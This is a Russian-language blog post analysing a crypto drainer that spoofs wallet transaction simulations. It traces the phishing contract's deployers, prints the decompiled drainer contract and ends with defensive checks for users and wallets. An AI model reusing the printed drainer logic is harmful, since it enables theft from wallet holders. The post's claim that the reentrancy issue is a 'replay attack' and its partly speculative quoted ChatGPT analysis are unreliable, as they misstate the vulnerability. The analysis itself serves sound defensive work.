January 24

DeFi. Безопасность. Дрейнеры. Разбираемся с подменой транзакций и эмуляций 

Красивая картинка :)

Дисклеймер

Всё описанное - здесь исключительно потому, что мне нравится исследовать p2p-системы, в том числе, но не ограничиваясь, блокчейны, DAGs, etc., смарт-контракты и прочее. Но всё описанное никогда нельзя применять на Тёмной стороне силы: материал потому представлен исключительно в образовательных целях и я как автор и переводчик не несу ответственность за любые возможные последствия, в том числе и в первую очередь - негативные. Будьте бдительны и исследуйте, а не применяйте.

TL;DR

Суть атаки:

  1. Фишинговый сайт предлагает совершить транзакцию - «Claim», т.е. затребовать некие токены;
  2. Симуляция кошелька отображает получение незначительной суммы ETH (например, 0.000...0001 ETH);
  3. Тем временем бэкэнд фишингового сайта изменяет состояние контракта;
  4. Жертва, не зная об изменении состояния, подписывает транзакцию;
  5. Фактическая транзакция выполняется, опустошая кошелёк жертвы полностью.

Полный разбор: drops.scamsniffer.io/transaction-simulation-spoofing-a-new-threat-in-web3.

Исследуем процесс подмены

Сама транзакция: https://etherscan.io/tx/0x014321fbace3c22ade53fd34a81981c92b499451e70bc840f567bc22c95de700:

А вот что произошло:

  1. Фишинговый сайт инициирует перевод через «Claim».
  2. Кошелёк имитирует получение крошечного ETH (0.000...0001 ETH).
  3. Бэкэнд изменяет состояние контракта.
  4. Фактическая транзакция опустошает кошелёк.
Визуализация атаки

См. оригинал здесь

Давайте чуть подробней: etherscan.io/address/0x000008e4e9597890e93f60b4d8dd3610e1700000#events:

Логи

Давайте отследим создание смарта:

  1. 0x000008e4e9597890e93f60b4d8dd3610e1700000 => Fake_Phishing877806
  2. 0x505506fbb2d540e209fe5ed93ce1be50a877bba9 => создатель  Fake_Phishing877806
  3. 0x000037bb05b2cef17c6469f4bcdb198826ce0000 => Fake_Phishing188250: создатель 0x505…bba9
  4. 0x854dda621785dca278df9b298825f2ec32578b76 => создатель Fake_Phishing188250
  5. 0x0000553f880ffa3728b290e04e819053a3590000 => создатель 0x854…b76 с громким именем: inferno-drainer-4.eth и пометкой: Fake_Phishing182232
  6. 0x00003d1cef5f30e34510198cb045e4ae0aa20000 =>  создатель Fake_Phishing182232
  7. 0x17d5d3d6c93ac70b8ae1c6ca4e8318968894a271 => создатель 0x000…20000 (кстати, похоже, что делали на профанити или аналогичном ПО)
  8. 0x00001f78189be22c3498cff1b8e02272c3220000 - самое интересное, что тут мы закольцовываемся, т.к. это уже inferno-drainer-3.eth

Вывод из этого простой: если проследить путь хотя бы до 2-5 связок, то можно понять, что с контрактом что-то не так. Плюс - он не верифицирован: к сожалению, крупные команды тоже этим грешат, чем лишь усложняют жизнь простым пользователям.

И всё же, если:

  1. Смарт не верифицирован;
  2. Молодой (мало времени с момента его разворачивания);
  3. Связан с другими “мутными” смартами;
  4. И набор его функций не ясен, то

Не жадничайте - обождите. Тем более, если у вас есть 143 ETH или что-то в этом роде.

Первичные же эфиры для всей этой фабрики дрейнеров поступили из sideshift, так что пополнить их могут с любого моста, обменника, кошелька, агрегатора, биржи…

Что ещё можно сказать? Сам контракт не верифицирован, поэтому можно лишь догадываться о том, что он делает по байт-коду и опкод-инструкциям:

Попробую подключить сюда ChatGPT и оставлю то, что мне кажется логичным:

  1. Функции контракта: В байт-коде видны два идентификатора функций:
    1. 0x0a3b0a4f: Это хеш сигнатуры функции (например, functionName(uint256)), которая определяет вызываемый метод.
    2. 0xbabcc539: Это другой хеш функции.
    3. Для более точного анализа нужно определить сигнатуры функций, но видно, что контракт имеет как минимум две функции.
    4. Прим. Menaskop: так и есть: ADD - первая, и вторая - CLAIM;
Вызовы функций скам-контракта
  1. Работа с msg.sender или адресами: В коде активно используются проверки и вызовы адресов. Например:
    1. Адреса передаются в качестве параметров.
    2. Проверяются 0xffffffffffffffffffffffffffffffffffffffff, что говорит о проверках на корректность адресов (например, функции могут работать только с определёнными контрактами или аккаунтами).
    3. Прим. Menaskop: что тоже логично, т.к. на сам контракт могут напасть, к тому же - ему нужно опустошать тех, у кого есть, что опустошать;
  2. Использование событий:
    1. Присутствует вызов логов событий (например, LOG), что говорит о том, что контракт отправляет данные для анализа вне блокчейна:
    2. Прим. Menaskop: Собственно, подмена на бэке логики - это подтверждает;
  3. Ошибки и возвраты:
    1. Контракт содержит проверку revert() при некорректных вызовах. Это стандартное поведение для защиты логики.
  4. Версия Solidity: В конце байт-кода указывается версия компилятора: solc v0.8.26. Это полезно для уточнения, какие особенности языка используются.
  5. Возможная обработка токенов:
    1. Присутствуют вызовы с параметрами 0x73... (длинные адреса), что может говорить о работе с токенами ERC-20 или ERC-721, например: Функции перевода или проверки баланса. Функционал, связанный с доступом к другим контрактам.

Конечно, можно декомпилировать:

  1. app.dedaub.com/
  2. dashboard.tenderly.co/
  3. etherscan.io/bytecode-decompiler?a=0x000008e4e9597890e93f60b4d8dd3610e1700000

Тогда получим вот что:

/ Decompiled by library.dedaub.com
// 2025.01.20 11:20 UTC
// Compiled using the solidity compiler version 0.8.26
// Data structures and variables inferred from the use of storage instructions
mapping (address => bool) _add; // STORAGE[0x1]
mapping (address => uint256) owner_2; // STORAGE[0x2]
address _receive; // STORAGE[0x0] bytes 0 to 19


function _SafeAdd(uint256 varg0, uint256 varg1) private {
   require(varg0 <= varg1 + varg0, Panic(17)); // arithmetic overflow or underflow
   return varg1 + varg0;
}


function add(address _address) public nonPayable {  find similar
   require(msg.data.length - 4 >= 32);
   _add[_address] = 1;
   v0 = _SafeAdd(21600, block.timestamp);
   owner_2[_address] = v0;
}


function receive() public payable {  find similar
   v0 = 0xe7(msg.sender);
   if (!v0) {
       v1 = _SafeAdd(1, msg.value);
       v2, /* uint256 */ v3 = msg.sender.call().value(v1).gas(msg.gas);
       if (RETURNDATASIZE() == 0) {
           exit;
       } else {
           v4 = new bytes[](RETURNDATASIZE());
           RETURNDATACOPY(v4.data, 0, RETURNDATASIZE());
           exit;
       }
   } else {
       v5 = new bytes[](4);
       MEM[v5.data] = 0x9b2d7f6500000000000000000000000000000000000000000000000000000000 | uint224(MEM[v5.data]);
       MCOPY(MEM[64], v5.data, v5.length);
       MEM[MEM[64] + v5.length] = 0;
       v6, /* uint256 */ v7, /* uint256 */ v8 = _receive.call(MEM[MEM[64]:MEM[64] + 4], MEM[MEM[64]:MEM[64]]).gas(msg.gas);
       if (RETURNDATASIZE() == 0) {
           v9 = v10 = 96;
       } else {
           v9 = v11 = new bytes[](RETURNDATASIZE());
           RETURNDATACOPY(v11.data, 0, RETURNDATASIZE());
       }
       require(v8 + MEM[v9] - v8 >= 32);
       require(MEM[v8] == address(MEM[v8]));
       v12, /* uint256 */ v13 = address(MEM[v8]).call().value(msg.value).gas(msg.gas);
       if (RETURNDATASIZE() != 0) {
           v14 = new bytes[](RETURNDATASIZE());
           RETURNDATACOPY(v14.data, 0, RETURNDATASIZE());
       }
       if (v12) {
           emit 0xfceb437c298f40d64702ac26411b2316e79f3c28ffa60edfc891ad4fc8ab82ca(msg.sender, msg.value);
       }
       exit;
   }
}


function isAllowed(address varg0) public nonPayable {  find similar
   require(msg.data.length - 4 >= 32);
   v0 = 0xe7(varg0);
   return bool(v0);
}


function 0xe7(address varg0) private {
   if (!_add[varg0]) {
       return _add[varg0];
   } else {
       return block.timestamp <= owner_2[varg0];
   }
}


// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.


function __function_selector__( function_selector) public payable {
   MEM[64] = 128;
   if (msg.data.length < 4) {
       if (!msg.data.length) {
           receive();
       }
   } else if (0xa3b0a4f == function_selector >> 224) {
       add(address);
   } else if (0xbabcc539 == function_selector >> 224) {
       isAllowed(address);
   }
   v0 = 0xe7(msg.sender);
   if (!v0) {
       v1 = _SafeAdd(1, msg.value);
       v2, /* uint256 */ v3 = msg.sender.call().value(v1).gas(msg.gas);
       if (RETURNDATASIZE() == 0) {
           exit;
       } else {
           v4 = new bytes[](RETURNDATASIZE());
           RETURNDATACOPY(v4.data, 0, RETURNDATASIZE());
           exit;
       }
   } else {
       v5 = new bytes[](4);
       MEM[v5.data] = 0x9b2d7f6500000000000000000000000000000000000000000000000000000000 | uint224(MEM[v5.data]);
       MCOPY(MEM[64], v5.data, v5.length);
       MEM[MEM[64] + v5.length] = 0;
       v6, /* uint256 */ v7, /* uint256 */ v8 = _receive.nativeCryptoReceiver().gas(msg.gas);
       if (RETURNDATASIZE() == 0) {
           v9 = v10 = 96;
       } else {
           v9 = v11 = new bytes[](RETURNDATASIZE());
           RETURNDATACOPY(v11.data, 0, RETURNDATASIZE());
       }
       require(v8 + MEM[v9] - v8 >= 32);
       require(MEM[v8] == address(MEM[v8]));
       v12, /* uint256 */ v13 = address(MEM[v8]).call().value(msg.value).gas(msg.gas);
       if (RETURNDATASIZE() != 0) {
           v14 = new bytes[](RETURNDATASIZE());
           RETURNDATACOPY(v14.data, 0, RETURNDATASIZE());
       }
       if (v12) {
           emit 0xfceb437c298f40d64702ac26411b2316e79f3c28ffa60edfc891ad4fc8ab82ca(msg.sender, msg.value);
       }
       exit;
   }
}

Собственно, опять же, подключу ChatGPT, но выберу лишь те тезисы, которые считаю: 1) важными, 2) логичными. Итак, анализ кода:

  1. Обработка платежей:
    1. Функция receive() предполагает приём средств, но содержит потенциально небезопасные вызовы, такие как msg.sender.call{value: ...}.gas(...), что является антипаттерном безопасности в Solidity.
    2. Прим. Menaskop: собственно, легко найти, что эта функция действительно часто используется для хакинга, например: https://ethereum.stackexchange.com/questions/42521/what-does-msg-sender-call-do-in-solidity
    3. Ещё точнее - так: а) Это функция, вызываемая при получении ETH. б) Сложная логика, вероятно, связана с перераспределением или передачей средств на адрес _receive. в) Возможно, реализует какой-то кастомный протокол.
  2. Кастомная логика проверки (0xe7):
    1. Логика проверяет, есть ли адрес в списке _add, а затем смотрит, не истек ли его срок действия (в поле owner_2).
    2. Прим. Menaskop: Это выглядит как некий механизм белого списка с временными ограничениями.
  3. Возможные уязвимости:
    1. Использование call() с возвратом значения и газа (например, в receive) уязвимо для атак повторного входа.
    2. Прим. Menaskop: собственно, речь идёт про подвид Replay attack, под которой, как известно, понимается: “атака на систему аутентификации путём записи и последующего воспроизведения ранее посланных корректных сообщений или их частей”, - это и наблюдаем в данном случае;
    3. Нет явной проверки безопасности при взаимодействии с внешними контрактами (например, _receive.call).
    4. Прим. Menaskop: это уже нужно для быстрой работы бэка - в том числе и для той самой подмены логики.

А теперь я добавлю ответ самого ChatGPT без моей корректуры и комментов:

  1. Атака повторного входа: Использование .call.value в функции receive() делает контракт уязвимым для атак повторного входа, особенно если _receive — это внешний контракт.
  2. Без явной авторизации: В функции add нет проверки, кто вызывает эту функцию. Это означает, что кто угодно может добавить адрес в список _add.
  3. Сложные инструкции для внешних вызовов: Логика передачи средств и вызовов функций через _receive.call выглядит неочевидной и, скорее всего, содержит скрытые уязвимости.
  4. Отсутствие событий: Контракт не записывает события при изменении _add или owner_2, что затрудняет аудит действий.
  5. Хаос в логике receive(): Код содержит лишнюю сложность и логически запутан. Такие конструкции нередко встречаются в вредоносных контрактах.

Как видим, он не сильно ошибается (если ошибается вообще). Отсюда - несколько советов.

Как противостоять такому типу атак?

Перечень, конечно же открытый:

  1. Проверку начинать не с контракта, а с сайта, бота и/или другого источника, где вы взаимодействуете: в 9 999 из 10 000 случаев вы получите данные о том, что ресурс - новый;
  2. Сам контракт проверять, как минимум:
    1. На верификацию;
    2. На то, кто его деплоил и ещё на 2-3 шага назад;
    3. На анализ со стороны AI;
    4. На транзакции: если мало холдеров у токена - насторожитесь, если мало транзакций и контракт недавно деплоили - насторожитесь и т.д.
  3. И обязательно используйте для проверки хотя бы 2 источника данных: это правило нерушимо везде и всюду.

Кстати, аудиторы предложили ещё и улучшения для кошельков на базе анализа атаки. Простых смертных они тоже касаются, т.к. важно понимать процесс:

  • Динамическое обновление на основе времени блока: собственно, ведь вся атака свелась к этому - что блок верификации для эмуляции и настоящая транзакция прошли с разницей в целых 30 секунд (а это 2 блока - минимум);
  • Принудительное обновление симуляции перед подписанием транзакции;
  • Отображение меток времени симуляции и высот блоков;
  • Интеграция чёрного списка фишинговых контрактов;
  • Уведомления о устаревших результатах симуляции.

Сервисы, используемые для анализа ситуации

Прежде всего - отчёт ScamSniffer:

  1. x.com/realScamSniffer/status/1877559749690184087
  2. x.com/realScamSniffer/status/1877559809643524154
  3. drops.scamsniffer.io/transaction-simulation-spoofing-a-new-threat-in-web3/

Далее - декомпиляторы:

  1. dashboard.tenderly.co/tx/mainnet/0x014321fbace3c22ade53fd34a81981c92b499451e70bc840f567bc22c95de700/logs
  2. app.dedaub.com/ethereum/address/0x000008e4e9597890e93f60b4d8dd3610e1700000/decompiled
  3. etherscan.io/bytecode-decompiler?a=0x000008e4e9597890e93f60b4d8dd3610e1700000

И сам эксплорер: /etherscan.io/address/0x000008e4e9597890e93f60b4d8dd3610e1700000#code

Плюс AI: chatgpt.com

Всё и

До!